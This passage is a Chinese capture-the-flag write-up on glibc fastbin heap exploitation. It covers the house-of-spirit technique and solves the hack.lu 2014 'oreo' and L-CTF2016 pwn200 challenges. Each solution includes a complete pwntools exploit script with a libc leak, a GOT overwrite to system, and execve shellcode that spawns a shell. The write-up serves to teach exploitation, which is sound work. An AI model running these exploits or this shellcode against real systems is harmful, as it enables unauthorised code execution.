chunk,然后把它给释放掉,这样再次申请相同大小的 chunk 的时候就会匹配到这里 house-of-spirit 是一种通过堆的 fastbin 机制来辅助栈溢出的方法 如果栈溢出的时候溢出的长度不能覆盖掉返回地址的但是却可以覆盖栈上面一个即将 free 的指针的话,我们可以把这个指针覆盖为栈上的某一个地址,并且把这个地址上伪造一个 chunk,free 之后再次 malloc 就可以申请到栈上面伪造的那一块,这时候就有可能改写返回地址了 通过上面那个程序直观的看一下 gcc -g house_of_spirit.c 首先在程序的第 14 行下个断点 b 14 运行到这里可以看到 fake_chunk 目前还没有被我们写入 我们直接让他写完,再来看一下,已经构造出 fake chunk 了 对 fake_chunk 进行 free 之后 可以看一下 fastbin 现在已经是有了我们构造的那个 fake_chunk 了 接下来再次 malloc 一个相同大小的 chunk 就会把这里申请过去 b=malloc(0x10);b[0]=0x4242424242424242LL; 构造 chunk 的时候要注意绕过一些检查: 后面那三个特殊的标志位前两个必须都为 0,写 size 位的时候直接 0xN0就可以了,然后大小要注意符合 fastbin 的大小,next chunk 的大小也要注意,必须大于 2*SIZE_SZ,小于 av->system_mem 64位下:16< next chunk 的 size < 128 Alloc to Stack 通过修改 fd 指针,指向栈上,从而申请栈上的空间,进而控制返回地址 Arbitrary Alloc 跟上一个的区别在于这个是往任何可写的地方去分配 chunk 2014 hack.lu oreo 先随便申请两个看一下结构 add('1'*20,'a'*20)add('2'*20,'b'*20) 可以看到申请的第二个上有一个指向第一个的指针 那如果第 2 个的 name 再多写一点,就可以覆盖掉这个指针了 name='a'*27+elf.got['puts'] 这时候再去 show 就能拿到 puts 的真实地址了,拿到之后就可以计算出 libc 的地址,进而拿到 system 和 '/bin/sh' 的地址 接下来需要伪造一个 chunk,因为枪支的 chunk 大小是 0x40的,而那个计数的东西在 bss 段中 0x804A2A4 的位置,每 add 一个就会 +1,可以用来作为 fake chunk 的 size,只需要多申请几个就可以 这时候可以同时把最后一个的指针改为 fake chunk 的地址(0x804A2A4 + 0x4) count=1whilecount<0x3f:add('a'*27+p32(0),'b')count=count+1payload='a'*27+p32(0x0804a2a8)add(payload,25*'a') 这样 fake chunk 的 size 位就构造好了,同时最后一个 chunk 的指向了 fake chunk 还需要绕过一些检测:对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查 来看一下那个 Leave a Message 功能,他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容 我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查,比如: payload=p8(0)*0x20+p32(0x40)+p32(0x100)payload=payload.ljust(52,'b')payload+=p32(0)payload=payload.ljust(128,'c')leave(payload) 首先是 0x20 的占位留给 fake chunk,然后是 fake chunk 的 size,接下来是 next chunk 的 size 此时内存布局: 释放的时候会把之前修改的指针指向的那个给释放掉,然后再去申请的时候就可以申请到伪造的那个 chunk 然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容 payload=p32(elf.got['strlen']).ljust(20,'a')add('b'*20,payload)leave(p32(sys_addr)+';/bin/sh\x00') 这里覆盖的是 strlen 的 got 表的内容为 system 的地址 Leave a Message 功能里面调用了一个函数,其中有 strlen 相当于 system(p32(sys_addr) + ";/bin/sh") exp: frompwnimport*context.log_level='debug'p=process('./oreo')elf=ELF('./oreo')libc=ELF('./libc.so.6')defcmd(choice):p.sendline(str(choice))defadd(name,description):cmd(1)p.sendline(name)p.sendline(description)defshow():cmd(2)p.recvuntil('===================================\n')deforder():cmd(3)defleave(notice):cmd(4)p.sendline(notice)defstats():cmd(5)add('1'*20,'a'*20)name='a'*27+p32(elf.got['puts'])add(name,'b'*20)show()p.recvuntil('===================================\n')p.recvuntil('Description:')puts_addr=u32(p.recvuntil('\n',drop=True)[:4])printhex(puts_addr)libc_base=puts_addr-libc.symbols['puts']sys_addr=libc_base+libc.symbols['system']binsh_addr=libc_base+next(libc.search('/bin/sh'))count=1whilecount<0x3f:add('a'*27+p32(0),'b')count=count+1payload='a'*27+p32(0x0804a2a8)add(payload,25*'a')payload=p8(0)*0x20+p32(0x40)+p32(0x100)payload=payload.ljust(52,'b')payload+=p32(0)payload=payload.ljust(128,'c')leave(payload)order()p.recvuntil('Okayordersubmitted!\n')payload=p32(elf.got['strlen']).ljust(20,'a')add('b'*20,payload)leave(p32(sys_addr)+';/bin/sh\x00')p.interactive() L-CTF2016–pwn200 这里的 v2 是在 0x30 的位置,而 read 读入的时候可以读入 0x30,但是不会再末尾自己加上 \x00,所以如果输满了可以把后面的 rbp 给泄露出来 buf 在 rbp-0x40,dest 指针在 rbp-0x8,所以 buf 的最后八字节会把 dest 给覆盖掉 在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里 首先通过 read 函数来泄露出来 rbp 中保存的地址 shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"payload=shellcode.ljust(46,'a')payload+='bb'p.send(payload)p.recvuntil('bb')leak_addr=p.recvuntil(',w')[:-3]leak_addr=u64(leak_addr.ljust(8,'\x00'))fake_addr=leak_addr-0x90shellcode_addr=leak_addr-0x50 箭头指向的是 rbp,0xe0-0x90=0x50,所以 shellcode 的地址是在泄漏的那个地址减 0x50 处 因为是先输入 id 再输入 money,所以那个 id 是在 money 下面的,可以通过 id 来伪造下一个堆块的 size(在一个范围内就可以,不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem) p.recvuntil('id~~?')p.sendline('48') 然后在输入 money 的时候伪造一个 chunk,并且覆盖掉 dest p.recvuntil('money~')payload=p64(0)*5+p64(0x41)payload=payload.ljust(0x38,'\x00')+p64(fake_addr)p.send(payload) 这是构造的 fake chunk emmm,要是再减去 0x8 就更好看了 看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址 先释放掉让伪造的 chunk 进入到 fastbin,然后再申请就申请到了伪造的 chunk,这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell 这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin?还是没把程序的功能理顺,我们把 dest 给覆盖掉了,覆盖为了 fake chunk 的地址,然后 dest 放到了 ptr,后面 free 的时候是 free(ptr) 的 exp: frompwnimport*p=process("./pwn")shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"payload=shellcode.ljust(46,'a')payload+='bb'p.send(payload)p.recvuntil('bb')leak_addr=p.recvuntil(',w')[:-3]leak_addr=u64(leak_addr.ljust(8,'\x00'))fake_addr=leak_addr-0x90shell_addr=leak_addr-0x50print'shellcodeaddr:'+hex(shell_addr)print'fakeaddr:'+hex(fake_addr)print'leakaddr:'+hex(leak_addr)p.recvuntil('id~~?')p.sendline('48')p.recvuntil('money~')payload=p64(0)*5+p64(0x41)payload=payload.ljust(0x38,'\x00')+p64(fake_addr)p.send(payload)p.recvuntil('choice:')p.sendline('2')p.recvuntil('choice:')p.sendline('1')p.recvuntil('long?')p.sendline('48')p.recvuntil('\n48\n')payload='0'*0x18+p64(shell_addr)payload=payload.ljust(48,'\x00')p.send(payload)p.recvuntil('choice:')p.sendline('3')p.interactive() 本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。如有侵权,请联系 support@oschina.cn 删除。本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册